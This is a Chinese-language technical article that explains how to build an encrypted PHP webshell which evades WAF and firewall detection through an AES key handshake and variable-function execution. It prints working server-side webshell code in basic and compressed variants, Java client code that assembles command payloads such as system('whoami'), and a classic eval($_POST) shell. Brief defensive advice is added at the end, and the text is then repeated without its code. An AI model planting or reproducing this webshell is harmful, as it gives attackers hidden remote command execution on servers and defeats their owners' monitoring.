利用动态二进制加密实现新型一句话木马之PHP篇
字数 1346 2025-08-27 12:33:31

利用动态二进制加密实现新型PHP一句话木马技术详解

一、技术概述

本技术通过动态二进制加密方式实现了一种新型PHP一句话木马,能够有效绕过WAF和其他网络防火墙的检测。核心思想是通过加密传输二进制流,在服务端解密执行,从而避免传统一句话木马的特征被检测到。

技术特点:

  1. 采用AES128加密通信内容
  2. 使用会话(Session)机制动态生成密钥
  3. 利用PHP可变函数特性执行代码
  4. 纯二进制流量传输,无明文特征
  5. 支持参数化Payload设计

二、服务端实现

基础版本代码

<?php
session_start();
if (isset($_GET['pass'])) {
    $key = substr(md5(uniqid(rand())), 16);
    $_SESSION['k'] = $key;
    print $key;
} else {
    $key = $_SESSION['k'];
    $decrptContent = openssl_decrypt(file_get_contents("php://input"), "AES128", $key);
    $arr = explode('|', $decrptContent);
    $func = $arr[0];
    $params = $arr[1];
    $func($params);
}
?>

精简版本1

<?php 
session_start();
isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&$b[0]($b[1]);
?>

精简版本2

<?php 
session_start();
isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&call_user_func($b[0],$b[1]);
?>

工作原理

  1. 握手阶段

    • 客户端以GET方式发起带密码的请求(如?pass=xxx
    • 服务端生成16位随机密钥(基于MD5(uniqid(rand()))的子串)
    • 密钥存入Session并返回给客户端
  2. 执行阶段

    • 客户端将代码(如assert|eval("phpinfo();"))用AES加密后发送
    • 服务端从Session获取密钥,解密接收到的数据
    • |分割解密后的字符串,得到函数名和参数
    • 通过可变函数或call_user_func执行代码

关键技术点

  1. PHP可变函数$func($params)形式,其中$func是变量存储的函数名
  2. 二进制流读取file_get_contents("php://input")获取原始POST数据
  3. AES加密openssl_decrypt函数实现解密
  4. 会话管理session_start()$_SESSION保持密钥

三、客户端实现

核心流程

  1. 获取加密密钥

    • 发送GET请求获取动态密钥
    • 密钥用于后续通信加密
  2. 生成Payload

    • 格式约定:function main(arg1...argN){} main(arg1...argN);
    • 示例:
      function main(cmd) {
          echo system(cmd);
      }
      main('whoami');
      
  3. 参数化处理

    • 自动填充参数到Payload中
    • 生成形如assert|eval(...)的字符串
  4. 加密传输

    • 将Payload字符串转换为字节流
    • 使用AES加密后发送

关键Java代码

public static byte[] getParamedPhp(String clsName, final Map<String, String> params) throws Exception {
    String basePath = "net/rebeyond/behinder/payload/php/";
    String payloadPath = basePath + clsName + ".php";
    StringBuilder code = new StringBuilder();
    
    // 读取Payload模板文件
    ByteArrayInputStream bis = new ByteArrayInputStream(Utils.getResourceData(payloadPath));
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    int b;
    while (-1 != (b = bis.read())) bos.write(b);
    bis.close();
    code.append(bos.toString());
    
    // 参数处理
    String paraList = "";
    for (String paraName : params.keySet()) {
        String paraValue = params.get(paraName);
        code.append(String.format("$%s=\"%s\";", paraName, paraValue));
        paraList += ",$" + paraName;
    }
    paraList = paraList.replaceFirst(",", "");
    
    // 添加main函数调用
    code.append("\r\nmain(" + paraList + ");");
    return code.toString().getBytes();
}

四、技术优势

  1. 绕过检测

    • 传统一句话木马:<?php @eval($_POST['caidao']);?>容易被WAF识别
    • 本技术:无固定特征,通信内容加密
  2. 动态密钥

    • 每次连接生成新密钥
    • 防止密钥被破解
  3. 灵活执行

    • 支持多种函数调用方式
    • 可扩展性强

五、防御建议

  1. 服务器防护

    • 禁用危险函数:eval, assert, system, exec
    • 限制php://input的使用
    • 监控Session异常使用
  2. 流量检测

    • 识别异常的AES加密流量模式
    • 检测握手阶段的特定GET请求
  3. 文件监控

    • 检查可疑的PHP文件内容
    • 特别关注包含session_startopenssl_decrypt组合的文件

六、总结

本技术通过动态二进制加密和PHP可变函数特性,实现了一种高隐蔽性的一句话木马。其核心在于:

  1. 加密通信内容绕过流量检测
  2. 动态密钥防止固定特征识别
  3. 灵活的参数化Payload设计
  4. 多种精简变形版本适应不同环境

理解这种技术的实现原理,有助于开发更有效的防御措施,同时也能提高安全人员对新型攻击手段的认知。

利用动态二进制加密实现新型PHP一句话木马技术详解 一、技术概述 本技术通过动态二进制加密方式实现了一种新型PHP一句话木马,能够有效绕过WAF和其他网络防火墙的检测。核心思想是通过加密传输二进制流,在服务端解密执行,从而避免传统一句话木马的特征被检测到。 技术特点: 采用AES128加密通信内容 使用会话(Session)机制动态生成密钥 利用PHP可变函数特性执行代码 纯二进制流量传输,无明文特征 支持参数化Payload设计 二、服务端实现 基础版本代码 精简版本1 精简版本2 工作原理 握手阶段 : 客户端以GET方式发起带密码的请求(如 ?pass=xxx ) 服务端生成16位随机密钥(基于MD5(uniqid(rand()))的子串) 密钥存入Session并返回给客户端 执行阶段 : 客户端将代码(如 assert|eval("phpinfo();") )用AES加密后发送 服务端从Session获取密钥,解密接收到的数据 用 | 分割解密后的字符串,得到函数名和参数 通过可变函数或 call_user_func 执行代码 关键技术点 PHP可变函数 : $func($params) 形式,其中 $func 是变量存储的函数名 二进制流读取 : file_get_contents("php://input") 获取原始POST数据 AES加密 : openssl_decrypt 函数实现解密 会话管理 : session_start() 和 $_SESSION 保持密钥 三、客户端实现 核心流程 获取加密密钥 : 发送GET请求获取动态密钥 密钥用于后续通信加密 生成Payload : 格式约定: function main(arg1...argN){} main(arg1...argN); 示例: 参数化处理 : 自动填充参数到Payload中 生成形如 assert|eval(...) 的字符串 加密传输 : 将Payload字符串转换为字节流 使用AES加密后发送 关键Java代码 四、技术优势 绕过检测 : 传统一句话木马: <?php @eval($_POST['caidao']);?> 容易被WAF识别 本技术:无固定特征,通信内容加密 动态密钥 : 每次连接生成新密钥 防止密钥被破解 灵活执行 : 支持多种函数调用方式 可扩展性强 五、防御建议 服务器防护 : 禁用危险函数: eval , assert , system , exec 等 限制 php://input 的使用 监控Session异常使用 流量检测 : 识别异常的AES加密流量模式 检测握手阶段的特定GET请求 文件监控 : 检查可疑的PHP文件内容 特别关注包含 session_start 和 openssl_decrypt 组合的文件 六、总结 本技术通过动态二进制加密和PHP可变函数特性,实现了一种高隐蔽性的一句话木马。其核心在于: 加密通信内容绕过流量检测 动态密钥防止固定特征识别 灵活的参数化Payload设计 多种精简变形版本适应不同环境 理解这种技术的实现原理,有助于开发更有效的防御措施,同时也能提高安全人员对新型攻击手段的认知。